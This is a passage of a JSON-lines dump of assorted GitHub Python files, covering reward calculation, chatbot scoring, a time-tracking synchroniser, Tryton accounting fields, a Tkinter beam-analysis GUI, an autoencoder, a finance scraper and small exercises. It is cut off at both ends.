file\n\n :return: sum of all rewards\n \"\"\"\n s = 0\n with open(output_file, newline='') as output:\n reader = csv.reader(output)\n for row in reader:\n s += float(row[1])\n return s\n\n\nif __name__ == \"__main__\":\n # calculate reward for all addresses\n print(\"read in all addresses ... \")\n address_dict = read_addresses_from_file()\n print(\"test data consistency ... \")\n test_total_cointime_consistency(address_dict)\n print(\"calculating rewards ... \")\n calculate_all_rewards(address_dict)\n print(f\"total rewards given: {get_total_reward()}\")\n","repo_name":"integritee-network/crowdloan","sub_path":"tools/guaranteed_reward_calculation.py","file_name":"guaranteed_reward_calculation.py","file_ext":"py","file_size_in_byte":4091,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"29454078768","text":"import intent_modeling\nimport numpy as np\nfrom sklearn.metrics import roc_auc_score\nfrom sklearn.model_selection import StratifiedKFold\n\n\ndef predict_scoring_model(model, q_data, a_data, labels):\n q_data, a_data, labels = intent_modeling.transform_data_lstm(q_data, a_data, labels)\n \n print(\"Scoring...\")\n predicted = model.predict([q_data, a_data])\n\n return roc_auc_score(labels, predicted, average='weighted')\n\n\ndef kfold_cv(q_data, a_data, labels):\n skf = StratifiedKFold(n_splits=3, shuffle=True, random_state=42)\n q_data, a_data, labels = np.array(q_data), np.array(a_data), np.array(labels)\n\n results = []\n\n i = 1\n for train_index, test_index in skf.split(q_data, a_data, labels):\n print(\"Doing CV Round \", i)\n\n train_q_data, train_a_data, test_q_data, test_a_data = q_data[train_index], a_data[train_index], q_data[test_index], a_data[test_index]\n train_labels, test_labels = labels[train_index], labels[test_index]\n\n scoring_model = intent_modeling.train_scoring_model(train_q_data, train_a_data, train_labels)\n\n results.append(predict_scoring_model(scoring_model, test_q_data, test_a_data, test_labels))\n\n i += 1\n\n return results\n\n\ndef custom_infer_vector(embeds, tokens):\n vecs = []\n for cnt in range(50):\n vecs.append(embeds.infer_vector(tokens))\n\n return np.mean(vecs, axis=0)\n\n\ndef predict_score_train(question_idx, answer_idx, q_embeds, a_embeds, scoring_model):\n question_vector = q_embeds.docvecs[str(question_idx)]\n answer_vector = a_embeds.docvecs[str(answer_idx)]\n \n q_data = np.array([question_vector])\n a_data = np.array([answer_vector])\n labels = np.array([1])\n \n q_data, a_data, labels = intent_modeling.transform_data_lstm(q_data, a_data, labels)\n \n score = scoring_model.predict([q_data, a_data])\n\n return score[0][0]\n\n\ndef predict_score_test(question, answer, q_embeds, a_embeds, scoring_model):\n q_tokens = intent_modeling.get_tokens(question)\n a_tokens = intent_modeling.get_tokens(answer)\n\n question_vector = custom_infer_vector(q_embeds, q_tokens)\n answer_vector = custom_infer_vector(a_embeds, a_tokens)\n\n q_data = np.array([question_vector])\n a_data = np.array([answer_vector])\n labels = np.array([1])\n \n q_data, a_data, labels = intent_modeling.transform_data_lstm(q_data, a_data, labels)\n \n score = scoring_model.predict([q_data, a_data])\n\n return score[0][0]\n\ndef test_model_qa(question, answer, model, q_tokenizer, a_tokenizer, q_dim, a_dim):\n seq1 = q_tokenizer.texts_to_sequences([question])\n seq2 = a_tokenizer.texts_to_sequences([answer])\n \n seq1[0] = [0]*(q_dim - len(seq1[0])) + seq1[0]\n seq2[0] = [0]*(a_dim - len(seq2[0])) + seq2[0]\n \n out = model.predict([np.array(seq1), np.array(seq2)])\n print(out)\n \n pred_class = np.argmax(out[0])\n \n return pred_class","repo_name":"funktor/stokastik","sub_path":"Chatbot/intent_score_predict.py","file_name":"intent_score_predict.py","file_ext":"py","file_size_in_byte":2892,"program_lang":"python","lang":"en","doc_type":"code","stars":30,"dataset":"github-code","pt":"68"} +{"seq_id":"397769447","text":"\"\"\"Synchroniser module\"\"\"\nimport csv\nimport importlib.util\nimport sys\nfrom abc import ABC, ABCMeta, abstractmethod\nfrom collections import defaultdict\nfrom datetime import date\nfrom pathlib import Path\nfrom subprocess import PIPE, run\nfrom typing import DefaultDict, Optional, Tuple\n\nfrom tracktime import EntryList\n\nAggregatedTime = DefaultDict[Tuple[str, str, str], int]\n\n\nclass ExternalSynchroniser(ABC):\n \"\"\"\n Implementors of this class must handle parallelism and caching themselves.\n \"\"\"\n\n @property\n @abstractmethod\n def name(self):\n \"\"\"\n Returns the human name for the external synchroniser.\n\n Returns:\n a string of the name of the external synchroniser.\n \"\"\"\n\n def sync(\n self,\n aggregated_time: AggregatedTime,\n synced_time: AggregatedTime,\n year_month: Tuple[int, int],\n ) -> AggregatedTime:\n \"\"\"\n Synchronise time over to the external service. All classes that inherit\n from ``ExternalSynchroniser`` must implement this function.\n\n Arguments:\n :param aggregated_time: a dictionary of (type, project, taskid) to duration\n :param synced_time: a dictionary of (type, project, taskid) to duration\n :param year_month: a tuple of the form (year, month) representing the year and\n month being synced.\n\n Returns:\n a dictionary of (type, project, taskid) to duration\n \"\"\"\n return synced_time\n\n def get_formatted_task_id(self, entry) -> Optional[str]:\n \"\"\"\n Gets the task ID formatted in a way that matches the way that the\n external service represents tasks.\n\n This is optional to implement. If ``None`` is returned, no formatting\n will be applied when displaying the task in reports.\n\n Arguments:\n :param entry: the ``TimeEntry`` to get a formatted task ID for.\n\n Returns:\n a string of the formatted task ID or ``None``\n \"\"\"\n return None\n\n def get_task_link(self, entry) -> Optional[str]:\n \"\"\"\n Gets a link to the task on the external service.\n\n This is optional to implement. If ``None`` is returned, the task\n descriptions will not link to the external service.\n\n Arguments:\n :param entry: the ``TimeEntry`` to get a task link for.\n\n Returns:\n a string of the URL of the task in the external service or ``None``\n \"\"\"\n return None\n\n def get_task_description(self, entry) -> Optional[str]:\n \"\"\"\n Get the description of a task from the external service.\n\n This is optional to implement. If ``None`` is returned, then the task ID\n will be shown without the description in reports.\n\n Arguments:\n :param entry: the ``TimeEntry`` to get a task description for.\n\n Returns:\n a string of the task description in the external service or ``None``\n \"\"\"\n return None\n\n\nclass Synchroniser:\n def __init__(self, config):\n \"\"\"Initialize the Synchroniser.\"\"\"\n self.config = config\n self.synchronisers = None\n\n def _test_internet(self):\n \"\"\"\n Tests whether or not the computer is currently connected to the\n internet.\n\n Uses ping of 8.8.8.8 to do this test. On Windows, it uses the ``-n``\n flag to specify to only do one ping. On POSIX OSes, it uses the ``-c``\n flag to specify the same.\n \"\"\"\n is_win = sys.platform in (\"win32\", \"cygwin\")\n command = [\"ping\", \"-n\" if is_win else \"-c\", \"1\", \"8.8.8.8\"]\n return run(command, stdout=PIPE, stderr=PIPE).returncode == 0\n\n def get_synchronisers(self):\n parent = Path(__file__).parent\n synchronisers = {\n \"github\": parent.joinpath(\"github.py\"),\n \"gitlab\": parent.joinpath(\"gitlab.py\"),\n \"linear\": parent.joinpath(\"linear.py\"),\n \"sourcehut\": parent.joinpath(\"sourcehut.py\"),\n }\n synchronisers.update(self.config[\"external_synchroniser_files\"])\n\n if self.synchronisers is None:\n self.synchronisers = []\n for module_name, file_path in synchronisers.items():\n spec = importlib.util.spec_from_file_location(module_name, file_path)\n module = importlib.util.module_from_spec(spec)\n spec.loader.exec_module(module)\n\n # Find the Synchroniser\n for element in filter(lambda x: not x.startswith(\"__\"), dir(module)):\n try:\n item = getattr(module, element)\n if type(item) != ABCMeta or item == ExternalSynchroniser:\n continue\n if isinstance(item(self.config), ExternalSynchroniser):\n synchroniser = item(self.config)\n break\n except Exception:\n pass\n else:\n raise Exception(\n f\"Could not find valid synchroniser in {file_path}.\"\n )\n\n self.synchronisers.append(synchroniser)\n\n return self.synchronisers\n\n def sync(self, first_of_month: date):\n \"\"\"Synchronize time entries with external services.\"\"\"\n year = first_of_month.year\n month = first_of_month.month\n month_dir = Path(\n self.config[\"directory\"],\n str(year),\n \"{:02}\".format(month),\n )\n\n if not self.config[\"sync_time\"]:\n print(\"Time sync disabled in configuration file.\")\n return\n\n if not self._test_internet():\n print(\"No internet connection. Skipping sync.\")\n return\n\n # Create a dictionary of the total time tracked for each GitLab taskid.\n aggregated_time: AggregatedTime = defaultdict(int)\n for day in range(1, 32):\n path = Path(month_dir, \"{:02}\".format(day))\n\n # Skip paths that don't exist\n if not path.exists():\n continue\n\n for entry in EntryList(\n self.config,\n date(year, month, day),\n ).entries:\n # Skip any entries that don't have a type, project, or taskid.\n if not entry.type or not entry.project or not entry.taskid:\n continue\n # Skip any un-ended entries.\n if not entry.stop:\n continue\n\n task_tuple = (entry.type, entry.project, entry.taskid)\n aggregated_time[task_tuple] += entry.duration()\n\n # Create a dictionary of all of the synchronised taskids.\n synced_time: AggregatedTime = defaultdict(int)\n synced_file_path = Path(month_dir, \".synced\")\n if synced_file_path.exists():\n with open(synced_file_path, \"r\") as f:\n for row in csv.DictReader(f):\n task_tuple = (row[\"type\"], row[\"project\"], row[\"taskid\"])\n synced_time[task_tuple] = int(row[\"synced\"])\n\n for synchroniser in self.get_synchronisers():\n print(f\"Syncronizing with {synchroniser.name}.\")\n synced_time.update(\n synchroniser.sync(\n aggregated_time,\n synced_time,\n (year, month),\n )\n )\n\n # Update the .synced file with the updated amounts.\n with open(synced_file_path, \"w+\", newline=\"\") as f:\n fieldnames = [\"type\", \"project\", \"taskid\", \"synced\"]\n writer = csv.DictWriter(f, fieldnames=fieldnames)\n\n writer.writeheader()\n for task_tuple, synced in synced_time.items():\n writer.writerow(\n {\n \"type\": task_tuple[0],\n \"project\": task_tuple[1],\n \"taskid\": task_tuple[2],\n \"synced\": synced,\n }\n )\n\n def get_formatted_task_id(self, entry) -> Optional[str]:\n for synchroniser in self.get_synchronisers():\n formatted = synchroniser.get_formatted_task_id(entry)\n if formatted:\n return formatted\n return entry.taskid\n\n def get_task_link(self, entry) -> Optional[str]:\n for synchroniser in self.get_synchronisers():\n task_link = synchroniser.get_task_link(entry)\n if task_link:\n return task_link\n return None\n\n def get_task_description(self, entry) -> Optional[str]:\n for synchroniser in self.get_synchronisers():\n task_description = synchroniser.get_task_description(entry)\n if task_description:\n return task_description\n return None\n","repo_name":"sumnerevans/tracktime","sub_path":"tracktime/synchronisers/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":8834,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"16866659476","text":"# -*- coding: utf-8 -*-\n# 过滤非法,取出需要的数据\nfrom get_bus_station_info import get_all_bus_station\nimport pandas as pd\nfrom pandas import DataFrame\nimport json\n\nserials = get_all_bus_station()\n\n\nt = pd.read_csv('bus_station_info2.csv')\n\n# 有公交站的location\n# correct_t = t[(t['pname'] == '四川省') & (t['typecode'] == '150700')]\n\n# 百度返回的信息很少,不能过滤\ncorrect_t = t\ncorrect_t = correct_t[['name', 'location', 'line_count']]\n\ndata = []\nfor columns, row in correct_t.iterrows():\n # print(columns)\n # print(row)\n\n map = {}\n\n map['name'] = row['name']\n map['value'] = []\n # 高德\n # obj = row['location'].split(',')\n # map['value'].append(obj[0])\n # map['value'].append(obj[1])\n\n obj = json.loads(row['location'].replace(r\"'\",r'\"'))\n map['value'].append(obj['lng'])\n map['value'].append(obj['lat'])\n \n\n map['value'].append(row['line_count'])\n\n # print(map)\n data.append(map)\n\n\nwith open('bus_station_location.json', 'w', encoding='utf8') as f:\n json.dump(data, f, ensure_ascii=False)\n\nprint('done')\n","repo_name":"lawnight/python_practices","sub_path":"map/generate_bus_coordinate.py","file_name":"generate_bus_coordinate.py","file_ext":"py","file_size_in_byte":1095,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"22819016281","text":"import mantenedorUsuario\nimport claseUsuario\nfrom flask import Flask, render_template,request,flash,redirect,url_for\n\napp = Flask(__name__)\n\n@app.route('/')\n\ndef Index():\n return render_template(\"Usuario.html\")\n\n@app.route('/mantenedor',methods=['POST'])\n\ndef mantenedor():\n if request.method == 'POST':\n try:\n auxBotonInsertar = request.form['btnGuardar']\n if auxBotonInsertar == \"Guardar\":\n auxId = request.form['txtId']\n auxNombre = request.form['txtNombre']\n auxRut = request.form['txtRut']\n auxUsuario = claseUsuario.Usuario(auxId,auxNombre,auxRut)\n mantenedorUsuario.insertar(auxUsuario)\n print(\"Datos guardados\")\n flash('datos guardados')\n except:\n print(\"datos no guardados\")\n \n return redirect(url_for('Index'))\n\nif __name__ == \"__main__\":\n app.run(port=3000,debug=True)","repo_name":"CharlesSand/DULCERIA.DWY","sub_path":"PÁGINA_DULCES/appUsuario.py","file_name":"appUsuario.py","file_ext":"py","file_size_in_byte":954,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"24194865148","text":"from decimal import Decimal\n\nfrom sql import Literal, Null\nfrom sql.aggregate import Sum\nfrom sql.conditionals import Coalesce\n\nfrom trytond.i18n import gettext\nfrom trytond.model import fields\nfrom trytond.model.exceptions import AccessError\nfrom trytond.modules.currency.fields import Monetary\nfrom trytond.pool import Pool, PoolMeta\nfrom trytond.tools import grouped_slice, reduce_ids\nfrom trytond.transaction import Transaction\n\n\nclass Company(metaclass=PoolMeta):\n __name__ = 'company.company'\n\n receivable = fields.Function(Monetary(\n \"Receivable\", currency='currency', digits='currency'),\n 'get_receivable_payable', searcher='search_receivable_payable')\n payable = fields.Function(Monetary(\n \"Payable\", currency='currency', digits='currency'),\n 'get_receivable_payable', searcher='search_receivable_payable')\n receivable_today = fields.Function(Monetary(\n \"Receivable Today\", currency='currency', digits='currency'),\n 'get_receivable_payable', searcher='search_receivable_payable')\n payable_today = fields.Function(Monetary(\n \"Payable Today\", currency='currency', digits='currency'),\n 'get_receivable_payable', searcher='search_receivable_payable')\n\n @classmethod\n def get_receivable_payable(cls, companies, names):\n amounts = {}\n pool = Pool()\n MoveLine = pool.get('account.move.line')\n Account = pool.get('account.account')\n AccountType = pool.get('account.account.type')\n Date = pool.get('ir.date')\n cursor = Transaction().connection.cursor()\n\n line = MoveLine.__table__()\n account = Account.__table__()\n account_type = AccountType.__table__()\n\n for name in names:\n assert name in {\n 'receivable', 'payable', 'receivable_today', 'payable_today'}\n amounts[name] = dict.fromkeys(map(int, companies), Decimal(0))\n\n exp = {\n c.id: Decimal(str(10.0 ** -c.currency.digits)) for c in companies}\n today = Date.today()\n\n amount = Sum(Coalesce(line.debit, 0) - Coalesce(line.credit, 0))\n for name in names:\n if name.endswith('_today'):\n code = name[:-len('_today')]\n today_where = (\n (line.maturity_date <= today)\n | (line.maturity_date == Null))\n else:\n code = name\n today_where = Literal(True)\n for sub_companies in grouped_slice(companies):\n sub_ids = [p.id for p in sub_companies]\n company_where = reduce_ids(account.company, sub_ids)\n cursor.execute(*line\n .join(account,\n condition=account.id == line.account)\n .join(account_type,\n condition=account.type == account_type.id)\n .select(account.company, amount,\n where=(getattr(account_type, code)\n & (line.reconciliation == Null)\n & company_where\n & today_where),\n group_by=account.company))\n for company_id, value in cursor:\n # SQLite uses float for SUM\n if not isinstance(value, Decimal):\n value = Decimal(str(value))\n amounts[name][company_id] = value.quantize(exp[company_id])\n return amounts\n\n @classmethod\n def search_receivable_payable(cls, name, clause):\n pool = Pool()\n MoveLine = pool.get('account.move.line')\n Account = pool.get('account.account')\n AccountType = pool.get('account.account.type')\n Date = pool.get('ir.date')\n\n line = MoveLine.__table__()\n account = Account.__table__()\n account_type = AccountType.__table__()\n\n assert name in {\n 'receivable', 'payable', 'receivable_today', 'payable_today'}\n _, operator, value = clause\n\n today = Date.today()\n\n if name.endswith('_today'):\n code = name[:-len('_today')]\n today_query = ((line.maturity_date <= today)\n | (line.maturity_date == Null))\n else:\n code = name\n today_query = Literal(True)\n\n Operator = fields.SQL_OPERATORS[operator]\n\n # Need to cast numeric for sqlite\n cast_ = MoveLine.debit.sql_cast\n amount = cast_(Sum(Coalesce(line.debit, 0) - Coalesce(line.credit, 0)))\n if operator in {'in', 'not in'}:\n value = [cast_(Literal(Decimal(v or 0))) for v in value]\n else:\n value = cast_(Literal(Decimal(value or 0)))\n query = (line\n .join(account, condition=account.id == line.account)\n .join(account_type, condition=account.type == account_type.id)\n .select(account.company,\n where=(getattr(account_type, code)\n & (line.reconciliation == Null)\n & today_query),\n group_by=account.company,\n having=Operator(amount, value)))\n return [('id', 'in', query)]\n\n @classmethod\n def write(cls, *args):\n pool = Pool()\n Move = pool.get('account.move')\n transaction = Transaction()\n if transaction.user and transaction.check_access:\n actions = iter(args)\n for companies, values in zip(actions, actions):\n if 'currency' in values:\n moves = Move.search([\n ('company', 'in', [c.id for c in companies]),\n ],\n limit=1, order=[])\n if moves:\n raise AccessError(gettext(\n 'account.msg_company_change_currency'))\n\n super().write(*args)\n","repo_name":"tryton/tryton","sub_path":"modules/account/company.py","file_name":"company.py","file_ext":"py","file_size_in_byte":5901,"program_lang":"python","lang":"en","doc_type":"code","stars":27,"dataset":"github-code","pt":"68"} +{"seq_id":"1398616103","text":"import tkinter as tk\r\nfrom tkinter import ttk\r\nfrom tkinter import font\r\nfrom tkinter import colorchooser\r\nfrom tkinter import messagebox\r\nfrom tkinter import filedialog\r\n\r\n# Function to create a new file\r\ndef new_file():\r\n # Clear the input fields and result labels\r\n length_entry.delete(0, tk.END)\r\n reaction1_entry.delete(0, tk.END)\r\n reaction2_entry.delete(0, tk.END)\r\n no_of_forces_entry.delete(0, tk.END)\r\n\r\n# Function to open a file\r\ndef open_file():\r\n file_path = filedialog.askopenfilename(filetypes=[(\"Text files\", \"*.txt\")])\r\n if file_path:\r\n try:\r\n with open(file_path, \"r\") as file:\r\n # Read the file contents and populate the input fields\r\n lines = file.readlines()\r\n if len(lines) >= 4:\r\n length_entry.insert(0, lines[0].strip())\r\n reaction1_entry.insert(0, lines[1].strip())\r\n reaction2_entry.insert(0, lines[2].strip())\r\n no_of_forces_entry.insert(0, lines[3].strip())\r\n except Exception as e:\r\n messagebox.showerror(\"Error\", str(e))\r\n\r\n# Function to save the current input fields to a file\r\ndef save_file():\r\n file_path = filedialog.asksaveasfilename(defaultextension=\".txt\", filetypes=[(\"Text files\", \"*.txt\")])\r\n if file_path:\r\n try:\r\n with open(file_path, \"w\") as file:\r\n # Write the input field values to the file\r\n file.write(length_entry.get() + \"\\n\")\r\n file.write(reaction1_entry.get() + \"\\n\")\r\n file.write(reaction2_entry.get() + \"\\n\")\r\n file.write(no_of_forces_entry.get() + \"\\n\")\r\n except Exception as e:\r\n messagebox.showerror(\"Error\", str(e))\r\n\r\n# Function to change the text font\r\ndef change_text_font():\r\n font_info = fontchooser.askfont(parent=window)\r\n if font_info:\r\n selected_font = font.Font(font=font_info)\r\n length_entry.configure(font=selected_font)\r\n reaction1_entry.configure(font=selected_font)\r\n reaction2_entry.configure(font=selected_font)\r\n no_of_forces_entry.configure(font=selected_font)\r\n\r\n# Function to change the text color\r\ndef change_text_color():\r\n color = colorchooser.askcolor(parent=window)\r\n if color:\r\n text_color = color[1]\r\n length_entry.configure(foreground=text_color)\r\n reaction1_entry.configure(foreground=text_color)\r\n reaction2_entry.configure(foreground=text_color)\r\n no_of_forces_entry.configure(foreground=text_color)\r\n\r\n# Function to change the background color\r\ndef change_background_color():\r\n color = colorchooser.askcolor(parent=window)\r\n if color:\r\n bg_color = color[1]\r\n style.configure(\"Custom.TEntry\", fieldbackground=bg_color)\r\n length_entry.configure(style=\"Custom.TEntry\")\r\n reaction1_entry.configure(style=\"Custom.TEntry\")\r\n reaction2_entry.configure(style=\"Custom.TEntry\")\r\n no_of_forces_entry.configure(style=\"Custom.TEntry\")\r\n\r\n# Function to toggle dark mode\r\ndef toggle_dark_mode():\r\n if dark_mode.get():\r\n window.configure(bg=\"black\")\r\n style.configure(\"TLabel\", foreground=\"white\", background=\"black\")\r\n style.configure(\"TButton\", foreground=\"white\", background=\"black\")\r\n else:\r\n window.configure(bg=\"white\")\r\n style.configure(\"TLabel\", foreground=\"black\", background=\"white\")\r\n style.configure(\"TButton\", foreground=\"black\", background=\"white\")\r\n\r\n# Function to perform calculation\r\ndef perform_calculation():\r\n length = length_entry.get()\r\n reaction1 = reaction1_entry.get()\r\n reaction2 = reaction2_entry.get()\r\n no_of_forces = no_of_forces_entry.get()\r\n\r\n # Check if the input values are valid numbers greater than 0\r\n if not (length.isdigit() and reaction1.isdigit() and reaction2.isdigit() and no_of_forces.isdigit()):\r\n messagebox.showerror(\"Error\", \"Invalid input! Please enter numeric values greater than 0.\")\r\n return\r\n\r\n # Convert the input values to float/int\r\n length = float(length)\r\n reaction1 = float(reaction1)\r\n reaction2 = float(reaction2)\r\n no_of_forces = int(no_of_forces)\r\n\r\n # Check if the input values are greater than 0\r\n if length <= 0 or reaction1 <= 0 or reaction2 <= 0 or no_of_forces <= 0:\r\n messagebox.showerror(\"Error\", \"Invalid input! Please enter values greater than 0.\")\r\n return\r\n\r\n # Perform the calculation here and display the result\r\n\r\n# Create the main window\r\nwindow = tk.Tk()\r\nwindow.title(\"Beam Analysis Tool\")\r\n\r\n# Create a style object for customizing the widgets\r\nstyle = ttk.Style(window)\r\n\r\n# Set the theme to default\r\nstyle.theme_use(\"default\")\r\n\r\n# Create a heading font\r\nheading_font = font.Font(family=\"Arial\", size=16, weight=\"bold\")\r\n\r\n# Create a label for the heading\r\nheading_label = ttk.Label(window, text=\"Beam Analysis Tool\", font=heading_font)\r\nheading_label.grid(row=0, column=0, columnspan=2, padx=10, pady=10)\r\n\r\n# Create labels and entry fields for inputs\r\nlength_label = ttk.Label(window, text=\"Length of the beam:\")\r\nlength_label.grid(row=1, column=0, padx=10, pady=5, sticky=\"E\")\r\n\r\nlength_entry = ttk.Entry(window, style=\"Custom.TEntry\")\r\nlength_entry.grid(row=1, column=1, padx=10, pady=5)\r\n\r\nreaction1_label = ttk.Label(window, text=\"Distance of reaction 1:\")\r\nreaction1_label.grid(row=2, column=0, padx=10, pady=5, sticky=\"E\")\r\n\r\nreaction1_entry = ttk.Entry(window, style=\"Custom.TEntry\")\r\nreaction1_entry.grid(row=2, column=1, padx=10, pady=5)\r\n\r\nreaction2_label = ttk.Label(window, text=\"Distance of reaction 2:\")\r\nreaction2_label.grid(row=3, column=0, padx=10, pady=5, sticky=\"E\")\r\n\r\nreaction2_entry = ttk.Entry(window, style=\"Custom.TEntry\")\r\nreaction2_entry.grid(row=3, column=1, padx=10, pady=5)\r\n\r\nno_of_forces_label = ttk.Label(window, text=\"Number of forces:\")\r\nno_of_forces_label.grid(row=4, column=0, padx=10, pady=5, sticky=\"E\")\r\n\r\nno_of_forces_entry = ttk.Entry(window, style=\"Custom.TEntry\")\r\nno_of_forces_entry.grid(row=4, column=1, padx=10, pady=5)\r\n\r\n# Create an Enter button\r\nenter_button = ttk.Button(window, text=\"Enter\", command=perform_calculation)\r\nenter_button.grid(row=5, column=0, columnspan=2, padx=10, pady=10)\r\n\r\n# Create a menu bar\r\nmenu_bar = tk.Menu(window)\r\nwindow.config(menu=menu_bar)\r\n\r\n# Create a file menu\r\nfile_menu = tk.Menu(menu_bar, tearoff=False)\r\nmenu_bar.add_cascade(label=\"File\", menu=file_menu)\r\nfile_menu.add_command(label=\"New\", command=new_file)\r\nfile_menu.add_command(label=\"Open\", command=open_file)\r\nfile_menu.add_command(label=\"Save\", command=save_file)\r\nfile_menu.add_separator()\r\nfile_menu.add_command(label=\"Exit\", command=window.quit)\r\n\r\n# Create a settings menu\r\nsettings_menu = tk.Menu(menu_bar, tearoff=False)\r\nmenu_bar.add_cascade(label=\"Settings\", menu=settings_menu)\r\nsettings_menu.add_command(label=\"Dark Mode\", command=toggle_dark_mode)\r\nsettings_menu.add_command(label=\"Light Mode\", command=toggle_dark_mode)\r\nsettings_menu.add_command(label=\"Text Font\", command=change_text_font)\r\nsettings_menu.add_command(label=\"Text Color\", command=change_text_color)\r\nsettings_menu.add_command(label=\"Background Color\", command=change_background_color)\r\n\r\n# Variable to track the dark mode state\r\ndark_mode = tk.BooleanVar()\r\n\r\n# Set initial dark mode state\r\ndark_mode.set(False)\r\n\r\n# Start the main event loop\r\nwindow.mainloop()\r\n\r\n","repo_name":"Yassin017/CS-Project","sub_path":"python project official2..py","file_name":"python project official2..py","file_ext":"py","file_size_in_byte":7393,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"41285129167","text":"import os\n\nfrom constants import COLORS\nfrom runner import run\n\noutput_dir = 'fractals'\n\ndef sequence(sandpile, filename, symmetry_modes):\n size_directory = os.path.join(output_dir, filename)\n os.makedirs(size_directory, exist_ok=True)\n\n sandpile.save(os.path.join(size_directory, '00'))\n sandpile.to_image(COLORS).save(os.path.join(size_directory, '00.png'))\n\n for count in range(1, 21):\n sandpile.data += 1\n print(count, sandpile.solve())\n\n sandpile.save(os.path.join(size_directory, '%02d' % count))\n i = sandpile.to_image(COLORS)\n i.save(os.path.join(size_directory, '%02d.png' % count))\n\nrun('main_queue.json', output_dir, sequence)\n","repo_name":"morgoth1145/sandpiles","sub_path":"fractal-seq.py","file_name":"fractal-seq.py","file_ext":"py","file_size_in_byte":688,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"10827620313","text":"# -*- coding: utf-8 -*-\n\nimport tensorflow as tf\n\nfrom .utils import lazy_property\n\nclass AE(object):\n\n def __init__(self, encoder, decoder, norm_regularize, variational, emb_inv):\n self._encoder = encoder\n self._decoders = decoder\n self._norm_regularize = norm_regularize\n self._variational = variational\n self._emb_inv = emb_inv\n self.loss\n # tf.summary.scalar('total_loss', self.loss)\n \n\n @property\n def x(self):\n return self._encoder.x\n\n @property\n def z(self):\n return self._encoder.z\n\n # @property\n # def reconstruction(self):\n # return self._decoder.x\n # @property\n # def reconstruction_target(self):\n # return self._decoder.reconstruction_target\n\n @lazy_property\n def loss(self):\n loss = tf.reduce_sum([d.reconstr_loss for d in self._decoders])\n\n if self._emb_inv > 0:\n loss += self._encoder.emb_inv_loss\n tf.summary.scalar('emb_inv_loss', self._encoder.emb_inv_loss)\n\n # if self._norm_regularize > 0:\n # loss += self._encoder.reg_loss * tf.constant(self._norm_regularize,dtype=tf.float32)\n # tf.summary.scalar('reg_loss', self._encoder.reg_loss)\n # if self._variational:\n # loss += self._encoder.kl_div_loss * tf.constant(self._variational, dtype=tf.float32)\n # tf.summary.scalar('KL_loss', self._encoder.kl_div_loss)\n # tf.summary.histogram('Variance', self._encoder.q_sigma)\n \n # tf.summary.histogram('Mean', self._encoder.z)\n return loss\n\n\n\n","repo_name":"UUNagato/6D-PoseEstimations","sub_path":"AugmentedAutoencoder/auto_pose/ae/ae.py","file_name":"ae.py","file_ext":"py","file_size_in_byte":1597,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"} +{"seq_id":"26980602245","text":"import time\r\n\r\ncurrent_time = time.time()\r\nprint(current_time)\r\n\r\n\r\ndef speed_calc_decorator(function):\r\n def calc_speed():\r\n start = time.time()\r\n function()\r\n end = time.time()\r\n print(f\"{function.__name__} ran for {end - start} seconds\")\r\n\r\n return calc_speed\r\n\r\n\r\n@speed_calc_decorator\r\ndef fast_function():\r\n for i in range(10000000):\r\n i * i\r\n\r\n\r\n@speed_calc_decorator\r\ndef slow_function():\r\n for i in range(100000000):\r\n i * i\r\n\r\n\r\nfast_function()\r\nslow_function()\r\n","repo_name":"mobeenyaqub/Python","sub_path":"54 - Decorators/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":527,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"} +{"seq_id":"11739925798","text":"import requests\nfrom bs4 import BeautifulSoup\n\ndef scrape_yahoo_finance_qqq():\n try:\n url = 'https://finance.yahoo.com/quote/QQQ'\n response = requests.get(url)\n\n if response.status_code == 200:\n soup = BeautifulSoup(response.text, 'html.parser')\n\n # Find elements containing mentions of QQQ (modify as needed)\n mentions = []\n for paragraph in soup.find_all('p'):\n if 'QQQ' in paragraph.get_text():\n mentions.append(paragraph.get_text())\n\n return mentions\n\n else:\n print(f\"Failed to retrieve the page. Status code: {response.status_code}\")\n\n except Exception as e:\n print(f\"An error occurred: {e}\")\n\n# Example usage\nqqq_mentions = scrape_yahoo_finance_qqq()\n\nif qqq_mentions:\n print(\"QQQ Mentions on Yahoo Finance:\")\n for mention in qqq_mentions:\n print(mention)\nelse:\n print(\"No mentions of QQQ found.\")\n","repo_name":"daltonjones93/MLProjects","sub_path":"ReinforcementLearning/webscraper.py","file_name":"webscraper.py","file_ext":"py","file_size_in_byte":961,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"33193627996","text":"from django.urls import path\nfrom . import views\n\napp_name = 'logbook'\n\nurlpatterns = [\n path('projects/', views.projects_view, name='projects'),\n path('/', views.ProjectView.as_view(), name='project'),\n path('log//', views.LogEntryView.as_view(), name='log_entry')\n]\n","repo_name":"czyzlukasz/lukaszczyzdotcom","sub_path":"logbook/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":299,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"} +{"seq_id":"7461327463","text":"# python3\n\n\ndef majority_element_naive(elements):\n assert len(elements) <= 10 ** 5\n for e in elements:\n if elements.count(e) > len(elements) / 2:\n return 1\n\n return 0\n\n\ndef majority_element(elements):\n assert len(elements) <= 10 ** 5\n # print(elements)\n\n m = len(elements)//2\n a = most(elements[m:])\n b = most(elements[:m])\n # print(f\"a: {a}\")\n # print(f\"b: {b}\")\n if list == type(a):\n if b in a:\n if elements.count(b)> len(elements)//2:\n return 1\n if list == type(b):\n if a in b:\n if elements.count(a) > len(elements) // 2:\n return 1\n if (list != type(a)) or (list != type(b)):\n if a == b:\n if elements.count(a) > len(elements) // 2:\n return 1\n return 0\n\n\ndef most(elements):\n # print(elements)\n for e in elements:\n if elements.count(e) > len(elements) / 2:\n return e\n return elements\n\n\nif 